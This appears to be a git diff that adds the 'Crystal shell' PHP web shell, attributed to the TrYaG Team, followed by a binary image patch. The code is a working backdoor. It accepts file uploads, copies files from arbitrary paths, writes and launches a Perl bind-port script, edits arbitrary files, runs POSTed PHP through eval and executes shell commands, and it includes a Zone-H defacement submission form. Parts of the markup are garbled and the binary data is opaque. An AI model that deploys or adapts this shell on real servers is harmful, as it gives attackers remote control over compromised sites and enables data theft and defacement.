+function perms($mode) +{ + +if( $mode & 0x1000 ) { $type='p'; } +else if( $mode & 0x2000 ) { $type='c'; } +else if( $mode & 0x4000 ) { $type='d'; } +else if( $mode & 0x6000 ) { $type='b'; } +else if( $mode & 0x8000 ) { $type='-'; } +else if( $mode & 0xA000 ) { $type='l'; } +else if( $mode & 0xC000 ) { $type='s'; } +else $type='u'; +$owner["read"] = ($mode & 00400) ? 'r' : '-'; +$owner["write"] = ($mode & 00200) ? 'w' : '-'; +$owner["execute"] = ($mode & 00100) ? 'x' : '-'; +$group["read"] = ($mode & 00040) ? 'r' : '-'; +$group["write"] = ($mode & 00020) ? 'w' : '-'; +$group["execute"] = ($mode & 00010) ? 'x' : '-'; +$world["read"] = ($mode & 00004) ? 'r' : '-'; +$world["write"] = ($mode & 00002) ? 'w' : '-'; +$world["execute"] = ($mode & 00001) ? 'x' : '-'; +if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; +if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; +if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; +$s=sprintf("%1s", $type); +$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); +$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); +$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); +return trim($s); +} + + + + + + +if(isset($_POST['post']) and $_POST['post'] == "yes" and @$HTTP_POST_FILES["userfile"][name] !== "") +{ +copy($HTTP_POST_FILES["userfile"]["tmp_name"],$HTTP_POST_FILES["userfile"]["name"]); +} + +if((isset($_POST['fileto']))||(isset($_POST['filefrom']))) + +{ +$data = implode("", file($_POST['filefrom'])); +$fp = fopen($_POST['fileto'], "wb"); +fputs($fp, $data); +$ok = fclose($fp); +if($ok) +{ +$size = filesize($_POST['fileto'])/1024; +$sizef = sprintf("%.2f", $size); +print "
Download - OK. (".$sizef."??)
"; +} +else +{ +print "
Something is wrong. Download - IS NOT OK
"; +} +} + +if (isset($_POST['installbind'])){ + +if (is_dir($_POST['installpath']) == true){ +chdir($_POST['installpath']); +$_POST['installpath'] = "temp.pl";} + + +$fp = fopen($_POST['installpath'], "w"); +fwrite($fp, $bind); +fclose($fp); + +exec("perl " . $_POST['installpath']); +chdir($dir); + + +} + + +@$ef = stripslashes($_POST['editfile']); +if ($ef){ +$fp = fopen($ef, "r"); +$filearr = file($ef); + + + +$string = ''; +$content = ''; +foreach ($filearr as $string){ +$string = str_replace("<" , "<" , $string); +$string = str_replace(">" , ">" , $string); +$content = $content . $string; +} + +echo "
Edit file: $ef
+ +
+
"; +fclose($fp); +} + +if(isset($_POST['savefile'])){ + +$fp = fopen($_POST['savefile'], "w"); +$content = stripslashes($content); +fwrite($fp, $content); +fclose($fp); +echo "
saved -OK!
"; + +} + + +if (isset($_POST['php'])){ + +echo "
eval code

+
"; +} + + + +if(isset($_POST['phpcode'])){ + +echo "
Results of PHP execution

"; +@eval(stripslashes($_POST['phpcode'])); +echo "
"; + + +} + + +if ($cmd){ + +if($sertype == "winda"){ +ob_start(); +execute($cmd); +$buffer = ""; +$buffer = ob_get_contents(); +ob_end_clean(); +} +else{ +ob_start(); +echo decode(execute($cmd)); +$buffer = ""; +$buffer = ob_get_contents(); +ob_end_clean(); +} + +if (trim($buffer)){ +echo "
Command: $cmd
"; +} + +} +$arr = array(); + +$arr = array_merge($arr, glob("*")); +$arr = array_merge($arr, glob(".*")); +$arr = array_merge($arr, glob("*.*")); +$arr = array_unique($arr); +sort($arr); +echo ""; + +foreach ($arr as $filename) { + +if ($filename != "." and $filename != ".."){ + +if (is_dir($filename) == true){ +$directory = ""; +$directory = $directory . "";} +else{ +$directory = $directory . ""; + +} + +if (is_readable($filename) == true){ +$directory = $directory . "";} +else{ +$directory = $directory . ""; +} +$dires = $dires . $directory; +} + +if (is_file($filename) == true){ +$file = ""; +$file = $file . "";} +else{ +$file = $file . ""; +} + +if (is_readable($filename) == true){ +$file = $file . "";} +else{ +$file = $file . ""; +} +$files = $files . $file; +} + + + +} + + + +} +echo $dires; +echo $files; +echo "
NameTypeSizeLast accessLast changePermsWriteRead
$filename" . filetype($filename) . "" . date("G:i j M Y",fileatime($filename)) . "" . date("G:i j M Y",filemtime($filename)) . "" . perms(fileperms($filename)); +if (is_writable($filename) == true){ +$directory = $directory . "YesNoYesNo
$filename" . filetype($filename) . "" . filesize($filename) . "" . date("G:i j M Y",fileatime($filename)) . "" . date("G:i j M Y",filemtime($filename)) . "" . perms(fileperms($filename)); +if (is_writable($filename) == true){ +$file = $file . "YesNoYes
No

"; + + + + +echo " +
+Command: + + +Directory: +
"; + + + + + +if (ini_get('safe_mode') == 1){echo "
SAFE MOD IS ON
+Including from here: " +. ini_get('safe_mode_include_dir') . "
Exec here: " . ini_get('safe_mode_exec_dir'). "
";} + + + + +?> + + +

+


+ < 


+ +

+ + :: + Executed command ::

+ +Command:"; +?> + f

+  

+
+
+ Selectg 
Bind port to
+
+ + + + + + + +
+

+ + + + ::Edit/Create + file::"

+   :


config.php
Edit


washer-crystal.txt .
";} +?> +

+

 

+

+File to edit: + + +

"; +?> +

+

+ :



UPLOAD< .
";} +?>:: + + + upload::Ņ

  + + + + +
"; +?> +

+ +

 Defacer Zone-H

  +

+ CRYSTAL-H:

Defacer
Victim
Attack Mode
Attack Reason
sand
Attacks On Hold.
";} +?>

+ + + Defacer + + Zone-h

+ + + + + +
+ + + +
+ + + +
 
+ + + + + + + + +
+ ::Defacer::: + +
+ ::Victim::: +
+ + Attack Mode: +
+ + Attack Reason: +
+ + +
 
+ + + +
+   :   + +L + + Attacks On Hold + +L

+
+

+ +  yCrystal shell v. 1 beta  oded by TrYaG Team l Arab Security Center Team |securityCenter| + : Web x

 

+ + + + +
+ +  + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CRYSTAL-H + 2006
PPSCPCC
1
2 3 4 5 6 7 8
9 10 11 12 1314 15
16 17 181920 21 22
23242526272829
3031
+ +
+ + + diff --git a/php/PHPshell/Crystal/Crystal2.jpg b/php/PHPshell/Crystal/Crystal2.jpg new file mode 100644 index 0000000000000000000000000000000000000000..750dcbfcda23658b411293e04e2d75be79a82a4f GIT binary patch literal 60394 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 